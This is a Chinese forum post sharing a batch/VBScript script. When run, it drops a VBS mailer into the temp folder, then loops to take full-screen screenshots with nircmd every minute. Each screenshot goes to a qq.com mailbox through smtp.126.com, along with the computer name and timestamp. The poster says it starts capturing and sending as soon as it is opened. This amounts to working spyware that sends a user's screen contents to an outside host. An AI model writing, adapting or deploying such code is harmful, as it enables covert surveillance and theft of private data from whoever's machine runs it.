- @echo off & setlocal enabledelayedexpansion
- goto runbat
- Const NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
- Set Email = CreateObject("CDO.Message")
- Set objArgs = WScript.Arguments
- Email.From = objArgs(1) & "@126.com"
- Email.To = objArgs(0) & "@qq.com"
- Email.Subject = objArgs(3)
- 'x = objArgs(5)
- 'Set fso = CreateObject("Scripting.FileSystemObject")
- 'Set myfile = fso.OpenTextFile(x,1,Ture)
- 'c = myfile.readall
- 'myfile.Close
- 'Email.HTMLbody = Replace(c, vbCrLf ,"<br>")
- Email.Textbody = wscript.arguments(4)
- Email.AddAttachment objArgs(6)
- With Email.Configuration.Fields
- .Item(NameSpace & "sendusing") = 2
- .Item(NameSpace & "smtpserver") = "smtp.126.com"
- .Item(NameSpace & "smtpserverport") = 25
- .Item(NameSpace & "smtpauthenticate") = 1
- .Item(NameSpace & "sendusername") = objArgs(1)
- .Item(NameSpace & "sendpassword") = objArgs(2)
- .Update
- End With
- Email.Send
- Wscript.Quit (99)
- ::////////////////////////////////////////////////////////////////
- :runbat
- del /q "%temp%\screenshot_.jpg" 2>nul
- call :uu 2 25 "%temp%\mail.vbs"
- :loop
- set t=60000
- if not exist "%temp%\screenshot_.jpg" (set t=1)
- nircmd cmdwait %t% savescreenshot "%temp%\screenshot_.jpg"
- wscript "%temp%\mail.vbs" 接收邮件的账号 发送邮件的账号 密码 "%computername%" "%date% %time%" "%temp%\info_.txt" "%temp%\screenshot_.jpg"
- goto loop
- exit
-
- :uu
- set hs=0
- if exist "%3" del /q "%3"
- for /f "delims=" %%a in ('more +%1 "%~s0"') do (
- set /a hs+=1
- echo %%a >>"%3"
- if "!hs!"=="%2" goto :eof)
- ::end
复制代码 正好我也用到,我也就写了。需要nircmd,楼上的链接里有下载。
这个默认的是打开就会自动截全屏并发送到指定邮箱,然后每1分钟再次截屏并发送。我上面那个发送邮箱是126的,你可以改别的。vbs代码加了注释的,是发送文本内容作为邮件内容发送的。 |